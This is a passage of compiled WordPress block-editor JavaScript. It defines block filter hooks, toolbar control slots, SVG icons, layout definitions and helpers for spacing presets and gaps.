15559 (0,external_wp_element_namespaceObject.useEffect)(() => {
15560 setWrapperProps(wrapperProps);
15561 return () => {
15562 setWrapperProps(void 0);
15563 };
15564 });
15565 return null;
15566}
15567const BlockPropsPure = (0,external_wp_element_namespaceObject.memo)(BlockProps);
15568function createBlockListBlockFilter(features) {
15569 const withBlockListBlockHooks = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
15570 (BlockListBlock) => (props) => {
15571 const [allWrapperProps, setAllWrapperProps] = (0,external_wp_element_namespaceObject.useState)(
15572 Array(features.length).fill(void 0)
15573 );
15574 return [
15575 ...features.map((feature, i) => {
15576 const {
15577 hasSupport,
15578 attributeKeys = [],
15579 useBlockProps,
15580 isMatch
15581 } = feature;
15582 const neededProps = {};
15583 for (const key of attributeKeys) {
15584 if (props.attributes[key]) {
15585 neededProps[key] = props.attributes[key];
15586 }
15587 }
15588 if (
15589 // Skip rendering if none of the needed attributes are
15590 // set.
15591 !Object.keys(neededProps).length || !hasSupport(props.name) || isMatch && !isMatch(neededProps)
15592 ) {
15593 return null;
15594 }
15595 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15596 BlockPropsPure,
15597 {
15598 index: i,
15599 useBlockProps,
15600 setAllWrapperProps,
15601 name: props.name,
15602 clientId: props.clientId,
15603 ...neededProps
15604 },
15605 i
15606 );
15607 }),
15608 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15609 BlockListBlock,
15610 {
15611 ...props,
15612 wrapperProps: allWrapperProps.filter(Boolean).reduce((acc, wrapperProps) => {
15613 return {
15614 ...acc,
15615 ...wrapperProps,
15616 className: dist_clsx(
15617 acc.className,
15618 wrapperProps.className
15619 ),
15620 style: {
15621 ...acc.style,
15622 ...wrapperProps.style
15623 }
15624 };
15625 }, props.wrapperProps || {})
15626 },
15627 "edit"
15628 )
15629 ];
15630 },
15631 "withBlockListBlockHooks"
15632 );
15633 (0,external_wp_hooks_namespaceObject.addFilter)(
15634 "editor.BlockListBlock",
15635 "core/editor/hooks",
15636 withBlockListBlockHooks
15637 );
15638}
15639function createBlockSaveFilter(features) {
15640 function extraPropsFromHooks(props, name, attributes) {
15641 return features.reduce((accu, feature) => {
15642 const { hasSupport, attributeKeys = [], addSaveProps } = feature;
15643 const neededAttributes = {};
15644 for (const key of attributeKeys) {
15645 if (attributes[key]) {
15646 neededAttributes[key] = attributes[key];
15647 }
15648 }
15649 if (
15650 // Skip rendering if none of the needed attributes are
15651 // set.
15652 !Object.keys(neededAttributes).length || !hasSupport(name)
15653 ) {
15654 return accu;
15655 }
15656 return addSaveProps(accu, name, neededAttributes);
15657 }, props);
15658 }
15659 (0,external_wp_hooks_namespaceObject.addFilter)(
15660 "blocks.getSaveContent.extraProps",
15661 "core/editor/hooks",
15662 extraPropsFromHooks,
15663 0
15664 );
15665 (0,external_wp_hooks_namespaceObject.addFilter)(
15666 "blocks.getSaveContent.extraProps",
15667 "core/editor/hooks",
15668 (props) => {
15669 if (props.hasOwnProperty("className") && !props.className) {
15670 delete props.className;
15671 }
15672 return props;
15673 }
15674 );
15675}
15676
15677
15678;// ./node_modules/@wordpress/block-editor/build-module/hooks/compat.js
15679
15680
15681function migrateLightBlockWrapper(settings) {
15682 const { apiVersion = 1 } = settings;
15683 if (apiVersion < 2 && (0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, "lightBlockWrapper", false)) {
15684 settings.apiVersion = 2;
15685 }
15686 return settings;
15687}
15688(0,external_wp_hooks_namespaceObject.addFilter)(
15689 "blocks.registerBlockType",
15690 "core/compat/migrateLightBlockWrapper",
15691 migrateLightBlockWrapper
15692);
15693
15694;// external ["wp","components"]
15695const external_wp_components_namespaceObject = window["wp"]["components"];
15696;// ./node_modules/@wordpress/block-editor/build-module/components/block-controls/groups.js
15697
15698const BlockControlsDefault = (0,external_wp_components_namespaceObject.createSlotFill)("BlockControls");
15699const BlockControlsBlock = (0,external_wp_components_namespaceObject.createSlotFill)("BlockControlsBlock");
15700const BlockControlsInline = (0,external_wp_components_namespaceObject.createSlotFill)("BlockFormatControls");
15701const BlockControlsOther = (0,external_wp_components_namespaceObject.createSlotFill)("BlockControlsOther");
15702const BlockControlsParent = (0,external_wp_components_namespaceObject.createSlotFill)("BlockControlsParent");
15703const groups = {
15704 default: BlockControlsDefault,
15705 block: BlockControlsBlock,
15706 inline: BlockControlsInline,
15707 other: BlockControlsOther,
15708 parent: BlockControlsParent
15709};
15710var groups_default = groups;
15711
15712
15713;// ./node_modules/@wordpress/block-editor/build-module/components/block-controls/hook.js
15714
15715
15716function useBlockControlsFill(group, shareWithChildBlocks) {
15717 const context = useBlockEditContext();
15718 if (context[mayDisplayControlsKey]) {
15719 return groups_default[group]?.Fill;
15720 }
15721 if (context[mayDisplayParentControlsKey] && shareWithChildBlocks) {
15722 return groups_default.parent.Fill;
15723 }
15724 return null;
15725}
15726
15727
15728;// ./node_modules/@wordpress/block-editor/build-module/components/block-controls/fill.js
15729
15730
15731
15732function BlockControlsFill({
15733 group = "default",
15734 controls,
15735 children,
15736 __experimentalShareWithChildBlocks = false
15737}) {
15738 const Fill = useBlockControlsFill(
15739 group,
15740 __experimentalShareWithChildBlocks
15741 );
15742 if (!Fill) {
15743 return null;
15744 }
15745 const innerMarkup = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
15746 group === "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { controls }),
15747 children
15748 ] });
15749 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalStyleProvider, { document, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Fill, { children: (fillProps) => {
15750 const { forwardedContext = [] } = fillProps;
15751 return forwardedContext.reduce(
15752 (inner, [Provider, props]) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, { ...props, children: inner }),
15753 innerMarkup
15754 );
15755 } }) });
15756}
15757
15758
15759;// external ["wp","warning"]
15760const external_wp_warning_namespaceObject = window["wp"]["warning"];
15761var external_wp_warning_default = /*#__PURE__*/__webpack_require__.n(external_wp_warning_namespaceObject);
15762;// ./node_modules/@wordpress/block-editor/build-module/components/block-controls/slot.js
15763
15764
15765
15766
15767
15768
15769const { ComponentsContext } = unlock(external_wp_components_namespaceObject.privateApis);
15770function BlockControlsSlot({ group = "default", ...props }) {
15771 const toolbarState = (0,external_wp_element_namespaceObject.useContext)(external_wp_components_namespaceObject.__experimentalToolbarContext);
15772 const contextState = (0,external_wp_element_namespaceObject.useContext)(ComponentsContext);
15773 const fillProps = (0,external_wp_element_namespaceObject.useMemo)(
15774 () => ({
15775 forwardedContext: [
15776 [external_wp_components_namespaceObject.__experimentalToolbarContext.Provider, { value: toolbarState }],
15777 [ComponentsContext.Provider, { value: contextState }]
15778 ]
15779 }),
15780 [toolbarState, contextState]
15781 );
15782 const slotFill = groups_default[group];
15783 const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(slotFill.name);
15784 if (!slotFill) {
15785 external_wp_warning_default()(`Unknown BlockControls group "${group}" provided.`);
15786 return null;
15787 }
15788 if (!fills?.length) {
15789 return null;
15790 }
15791 const { Slot } = slotFill;
15792 const slot = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Slot, { ...props, bubblesVirtually: true, fillProps });
15793 if (group === "default") {
15794 return slot;
15795 }
15796 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: slot });
15797}
15798
15799
15800;// ./node_modules/@wordpress/block-editor/build-module/components/block-controls/index.js
15801
15802
15803
15804const BlockControls = BlockControlsFill;
15805BlockControls.Slot = BlockControlsSlot;
15806const BlockFormatControls = (props) => {
15807 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockControlsFill, { group: "inline", ...props });
15808};
15809BlockFormatControls.Slot = (props) => {
15810 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockControlsSlot, { group: "inline", ...props });
15811};
15812var block_controls_default = BlockControls;
15813
15814
15815;// ./node_modules/@wordpress/icons/build-module/library/justify-left.js
15816
15817
15818var justify_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9 9v6h11V9H9zM4 20h1.5V4H4v16z" }) });
15819
15820
15821;// ./node_modules/@wordpress/icons/build-module/library/justify-center.js
15822
15823
15824var justify_center_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.5 15v5H11v-5H4V9h7V4h1.5v5h7v6h-7Z" }) });
15825
15826
15827;// ./node_modules/@wordpress/icons/build-module/library/justify-right.js
15828
15829
15830var justify_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 15h11V9H4v6zM18.5 4v16H20V4h-1.5z" }) });
15831
15832
15833;// ./node_modules/@wordpress/icons/build-module/library/justify-space-between.js
15834
15835
15836var justify_space_between_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9 15h6V9H9v6zm-5 5h1.5V4H4v16zM18.5 4v16H20V4h-1.5z" }) });
15837
15838
15839;// ./node_modules/@wordpress/icons/build-module/library/justify-stretch.js
15840
15841
15842var justify_stretch_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 4H5.5V20H4V4ZM7 10L17 10V14L7 14V10ZM20 4H18.5V20H20V4Z" }) });
15843
15844
15845;// ./node_modules/@wordpress/icons/build-module/library/arrow-right.js
15846
15847
15848var arrow_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z" }) });
15849
15850
15851;// ./node_modules/@wordpress/icons/build-module/library/arrow-down.js
15852
15853
15854var arrow_down_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z" }) });
15855
15856
15857;// ./node_modules/@wordpress/block-editor/build-module/layouts/definitions.js
15858const LAYOUT_DEFINITIONS = {
15859 default: {
15860 name: "default",
15861 slug: "flow",
15862 className: "is-layout-flow",
15863 baseStyles: [
15864 {
15865 selector: " > .alignleft",
15866 rules: {
15867 float: "left",
15868 "margin-inline-start": "0",
15869 "margin-inline-end": "2em"
15870 }
15871 },
15872 {
15873 selector: " > .alignright",
15874 rules: {
15875 float: "right",
15876 "margin-inline-start": "2em",
15877 "margin-inline-end": "0"
15878 }
15879 },
15880 {
15881 selector: " > .aligncenter",
15882 rules: {
15883 "margin-left": "auto !important",
15884 "margin-right": "auto !important"
15885 }
15886 }
15887 ],
15888 spacingStyles: [
15889 {
15890 selector: " > :first-child",
15891 rules: {
15892 "margin-block-start": "0"
15893 }
15894 },
15895 {
15896 selector: " > :last-child",
15897 rules: {
15898 "margin-block-end": "0"
15899 }
15900 },
15901 {
15902 selector: " > *",
15903 rules: {
15904 "margin-block-start": null,
15905 "margin-block-end": "0"
15906 }
15907 }
15908 ]
15909 },
15910 constrained: {
15911 name: "constrained",
15912 slug: "constrained",
15913 className: "is-layout-constrained",
15914 baseStyles: [
15915 {
15916 selector: " > .alignleft",
15917 rules: {
15918 float: "left",
15919 "margin-inline-start": "0",
15920 "margin-inline-end": "2em"
15921 }
15922 },
15923 {
15924 selector: " > .alignright",
15925 rules: {
15926 float: "right",
15927 "margin-inline-start": "2em",
15928 "margin-inline-end": "0"
15929 }
15930 },
15931 {
15932 selector: " > .aligncenter",
15933 rules: {
15934 "margin-left": "auto !important",
15935 "margin-right": "auto !important"
15936 }
15937 },
15938 {
15939 selector: " > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
15940 rules: {
15941 "max-width": "var(--wp--style--global--content-size)",
15942 "margin-left": "auto !important",
15943 "margin-right": "auto !important"
15944 }
15945 },
15946 {
15947 selector: " > .alignwide",
15948 rules: {
15949 "max-width": "var(--wp--style--global--wide-size)"
15950 }
15951 }
15952 ],
15953 spacingStyles: [
15954 {
15955 selector: " > :first-child",
15956 rules: {
15957 "margin-block-start": "0"
15958 }
15959 },
15960 {
15961 selector: " > :last-child",
15962 rules: {
15963 "margin-block-end": "0"
15964 }
15965 },
15966 {
15967 selector: " > *",
15968 rules: {
15969 "margin-block-start": null,
15970 "margin-block-end": "0"
15971 }
15972 }
15973 ]
15974 },
15975 flex: {
15976 name: "flex",
15977 slug: "flex",
15978 className: "is-layout-flex",
15979 displayMode: "flex",
15980 baseStyles: [
15981 {
15982 selector: "",
15983 rules: {
15984 "flex-wrap": "wrap",
15985 "align-items": "center"
15986 }
15987 },
15988 {
15989 selector: " > :is(*, div)",
15990 // :is(*, div) instead of just * increases the specificity by 001.
15991 rules: {
15992 margin: "0"
15993 }
15994 }
15995 ],
15996 spacingStyles: [
15997 {
15998 selector: "",
15999 rules: {
16000 gap: null
16001 }
16002 }
16003 ]
16004 },
16005 grid: {
16006 name: "grid",
16007 slug: "grid",
16008 className: "is-layout-grid",
16009 displayMode: "grid",
16010 baseStyles: [
16011 {
16012 selector: " > :is(*, div)",
16013 // :is(*, div) instead of just * increases the specificity by 001.
16014 rules: {
16015 margin: "0"
16016 }
16017 }
16018 ],
16019 spacingStyles: [
16020 {
16021 selector: "",
16022 rules: {
16023 gap: null
16024 }
16025 }
16026 ]
16027 }
16028};
16029
16030
16031;// ./node_modules/@wordpress/block-editor/build-module/layouts/utils.js
16032
16033
16034function appendSelectors(selectors, append = "") {
16035 return selectors.split(",").map(
16036 (subselector) => `${subselector}${append ? ` ${append}` : ""}`
16037 ).join(",");
16038}
16039function getBlockGapCSS(selector, layoutDefinitions = LAYOUT_DEFINITIONS, layoutType, blockGapValue) {
16040 let output = "";
16041 if (layoutDefinitions?.[layoutType]?.spacingStyles?.length && blockGapValue) {
16042 layoutDefinitions[layoutType].spacingStyles.forEach((gapStyle) => {
16043 output += `${appendSelectors(
16044 selector,
16045 gapStyle.selector.trim()
16046 )} { `;
16047 output += Object.entries(gapStyle.rules).map(
16048 ([cssProperty, value]) => `${cssProperty}: ${value ? value : blockGapValue}`
16049 ).join("; ");
16050 output += "; }";
16051 });
16052 }
16053 return output;
16054}
16055function getAlignmentsInfo(layout) {
16056 const { contentSize, wideSize, type = "default" } = layout;
16057 const alignmentInfo = {};
16058 const sizeRegex = /^(?!0)\d+(px|em|rem|vw|vh|%|svw|lvw|dvw|svh|lvh|dvh|vi|svi|lvi|dvi|vb|svb|lvb|dvb|vmin|svmin|lvmin|dvmin|vmax|svmax|lvmax|dvmax)?$/i;
16059 if (sizeRegex.test(contentSize) && type === "constrained") {
16060 alignmentInfo.none = (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Max %s wide"), contentSize);
16061 }
16062 if (sizeRegex.test(wideSize)) {
16063 alignmentInfo.wide = (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Max %s wide"), wideSize);
16064 }
16065 return alignmentInfo;
16066}
16067
16068
16069;// ./node_modules/@wordpress/icons/build-module/library/sides-all.js
16070
16071
16072var sides_all_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z" }) });
16073
16074
16075;// ./node_modules/@wordpress/icons/build-module/library/sides-horizontal.js
16076
16077
16078var sides_horizontal_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
16079 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16080 external_wp_primitives_namespaceObject.Path,
16081 {
16082 d: "m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",
16083 style: { opacity: 0.25 }
16084 }
16085 ),
16086 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m4.5 7.5v9h1.5v-9z" }),
16087 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m18 7.5v9h1.5v-9z" })
16088] });
16089
16090
16091;// ./node_modules/@wordpress/icons/build-module/library/sides-vertical.js
16092
16093
16094var sides_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
16095 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16096 external_wp_primitives_namespaceObject.Path,
16097 {
16098 d: "m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",
16099 style: { opacity: 0.25 }
16100 }
16101 ),
16102 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m7.5 6h9v-1.5h-9z" }),
16103 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m7.5 19.5h9v-1.5h-9z" })
16104] });
16105
16106
16107;// ./node_modules/@wordpress/icons/build-module/library/sides-top.js
16108
16109
16110var sides_top_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
16111 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16112 external_wp_primitives_namespaceObject.Path,
16113 {
16114 d: "m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",
16115 style: { opacity: 0.25 }
16116 }
16117 ),
16118 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m16.5 6h-9v-1.5h9z" })
16119] });
16120
16121
16122;// ./node_modules/@wordpress/icons/build-module/library/sides-right.js
16123
16124
16125var sides_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
16126 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16127 external_wp_primitives_namespaceObject.Path,
16128 {
16129 d: "m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",
16130 style: { opacity: 0.25 }
16131 }
16132 ),
16133 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m18 16.5v-9h1.5v9z" })
16134] });
16135
16136
16137;// ./node_modules/@wordpress/icons/build-module/library/sides-bottom.js
16138
16139
16140var sides_bottom_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
16141 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16142 external_wp_primitives_namespaceObject.Path,
16143 {
16144 d: "m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",
16145 style: { opacity: 0.25 }
16146 }
16147 ),
16148 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m16.5 19.5h-9v-1.5h9z" })
16149] });
16150
16151
16152;// ./node_modules/@wordpress/icons/build-module/library/sides-left.js
16153
16154
16155var sides_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
16156 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16157 external_wp_primitives_namespaceObject.Path,
16158 {
16159 d: "m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",
16160 style: { opacity: 0.25 }
16161 }
16162 ),
16163 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m4.5 16.5v-9h1.5v9z" })
16164] });
16165
16166
16167;// ./node_modules/@wordpress/block-editor/build-module/components/spacing-sizes-control/utils.js
16168
16169
16170const RANGE_CONTROL_MAX_SIZE = 8;
16171const ALL_SIDES = ["top", "right", "bottom", "left"];
16172const DEFAULT_VALUES = {
16173 top: void 0,
16174 right: void 0,
16175 bottom: void 0,
16176 left: void 0
16177};
16178const ICONS = {
16179 custom: sides_all_default,
16180 axial: sides_all_default,
16181 horizontal: sides_horizontal_default,
16182 vertical: sides_vertical_default,
16183 top: sides_top_default,
16184 right: sides_right_default,
16185 bottom: sides_bottom_default,
16186 left: sides_left_default
16187};
16188const LABELS = {
16189 default: (0,external_wp_i18n_namespaceObject.__)("Spacing control"),
16190 top: (0,external_wp_i18n_namespaceObject.__)("Top"),
16191 bottom: (0,external_wp_i18n_namespaceObject.__)("Bottom"),
16192 left: (0,external_wp_i18n_namespaceObject.__)("Left"),
16193 right: (0,external_wp_i18n_namespaceObject.__)("Right"),
16194 mixed: (0,external_wp_i18n_namespaceObject.__)("Mixed"),
16195 vertical: (0,external_wp_i18n_namespaceObject.__)("Vertical"),
16196 horizontal: (0,external_wp_i18n_namespaceObject.__)("Horizontal"),
16197 axial: (0,external_wp_i18n_namespaceObject.__)("Horizontal & vertical"),
16198 custom: (0,external_wp_i18n_namespaceObject.__)("Custom")
16199};
16200const VIEWS = {
16201 axial: "axial",
16202 top: "top",
16203 right: "right",
16204 bottom: "bottom",
16205 left: "left",
16206 custom: "custom"
16207};
16208function isValueSpacingPreset(value) {
16209 if (!value?.includes) {
16210 return false;
16211 }
16212 return value === "0" || value.includes("var:preset|spacing|");
16213}
16214function getCustomValueFromPreset(value, spacingSizes) {
16215 if (!isValueSpacingPreset(value)) {
16216 return value;
16217 }
16218 const slug = getSpacingPresetSlug(value);
16219 const spacingSize = spacingSizes.find(
16220 (size) => String(size.slug) === slug
16221 );
16222 return spacingSize?.size;
16223}
16224function getPresetValueFromCustomValue(value, spacingSizes) {
16225 if (!value || isValueSpacingPreset(value) || value === "0") {
16226 return value;
16227 }
16228 const spacingMatch = spacingSizes.find(
16229 (size) => String(size.size) === String(value)
16230 );
16231 if (spacingMatch?.slug) {
16232 return `var:preset|spacing|${spacingMatch.slug}`;
16233 }
16234 return value;
16235}
16236function getSpacingPresetCssVar(value) {
16237 if (!value) {
16238 return;
16239 }
16240 const slug = value.match(/var:preset\|spacing\|(.+)/);
16241 if (!slug) {
16242 return value;
16243 }
16244 return `var(--wp--preset--spacing--${slug[1]})`;
16245}
16246function getSpacingPresetSlug(value) {
16247 if (!value) {
16248 return;
16249 }
16250 if (value === "0" || value === "default") {
16251 return value;
16252 }
16253 const slug = value.match(/var:preset\|spacing\|(.+)/);
16254 return slug ? slug[1] : void 0;
16255}
16256function getSliderValueFromPreset(presetValue, spacingSizes) {
16257 if (presetValue === void 0) {
16258 return 0;
16259 }
16260 const slug = parseFloat(presetValue, 10) === 0 ? "0" : getSpacingPresetSlug(presetValue);
16261 const sliderValue = spacingSizes.findIndex((spacingSize) => {
16262 return String(spacingSize.slug) === slug;
16263 });
16264 return sliderValue !== -1 ? sliderValue : NaN;
16265}
16266function hasAxisSupport(sides, axis) {
16267 if (!sides || !sides.length) {
16268 return false;
16269 }
16270 const hasHorizontalSupport = sides.includes("horizontal") || sides.includes("left") && sides.includes("right");
16271 const hasVerticalSupport = sides.includes("vertical") || sides.includes("top") && sides.includes("bottom");
16272 if (axis === "horizontal") {
16273 return hasHorizontalSupport;
16274 }
16275 if (axis === "vertical") {
16276 return hasVerticalSupport;
16277 }
16278 return hasHorizontalSupport || hasVerticalSupport;
16279}
16280function hasBalancedSidesSupport(sides = []) {
16281 const counts = { top: 0, right: 0, bottom: 0, left: 0 };
16282 sides.forEach((side) => counts[side] += 1);
16283 return (counts.top + counts.bottom) % 2 === 0 && (counts.left + counts.right) % 2 === 0;
16284}
16285function getInitialView(values = {}, sides) {
16286 const { top, right, bottom, left } = values;
16287 const sideValues = [top, right, bottom, left].filter(Boolean);
16288 const hasMatchingAxialValues = top === bottom && left === right && (!!top || !!left);
16289 const hasNoValuesAndBalancedSides = !sideValues.length && hasBalancedSidesSupport(sides);
16290 const hasOnlyAxialSides = sides?.includes("horizontal") && sides?.includes("vertical") && sides?.length === 2;
16291 if (hasAxisSupport(sides) && (hasMatchingAxialValues || hasNoValuesAndBalancedSides)) {
16292 return VIEWS.axial;
16293 }
16294 if (hasOnlyAxialSides && sideValues.length === 1) {
16295 let side;
16296 Object.entries(values).some(([key, value]) => {
16297 side = key;
16298 return value !== void 0;
16299 });
16300 return side;
16301 }
16302 if (sides?.length === 1 && !sideValues.length) {
16303 return sides[0];
16304 }
16305 return VIEWS.custom;
16306}
16307
16308
16309;// ./node_modules/@wordpress/block-editor/build-module/hooks/gap.js
16310
16311function getGapBoxControlValueFromStyle(blockGapValue) {
16312 if (!blockGapValue) {
16313 return null;
16314 }
16315 const isValueString = typeof blockGapValue === "string";
16316 return {
16317 top: isValueString ? blockGapValue : blockGapValue?.top,
16318 left: isValueString ? blockGapValue : blockGapValue?.left
16319 };
16320}
16321function getGapCSSValue(blockGapValue, defaultValue = "0") {
16322 const blockGapBoxControlValue = getGapBoxControlValueFromStyle(blockGapValue);
16323 if (!blockGapBoxControlValue) {
16324 return null;
16325 }
16326 const row = getSpacingPresetCssVar(blockGapBoxControlValue?.top) || defaultValue;
16327 const column = getSpacingPresetCssVar(blockGapBoxControlValue?.left) || defaultValue;
16328 return row === column ? row : `${row} ${column}`;
16329}
16330
16331
16332;// ./node_modules/@wordpress/icons/build-module/library/justify-top.js
16333
16334
16335var justify_top_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9 20h6V9H9v11zM4 4v1.5h16V4H4z" }) });
16336
16337
16338;// ./node_modules/@wordpress/icons/build-module/library/justify-center-vertical.js
16339
16340
16341var justify_center_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 11h-5V4H9v7H4v1.5h5V20h6v-7.5h5z" }) });
16342
16343
16344;// ./node_modules/@wordpress/icons/build-module/library/justify-bottom.js
16345
16346
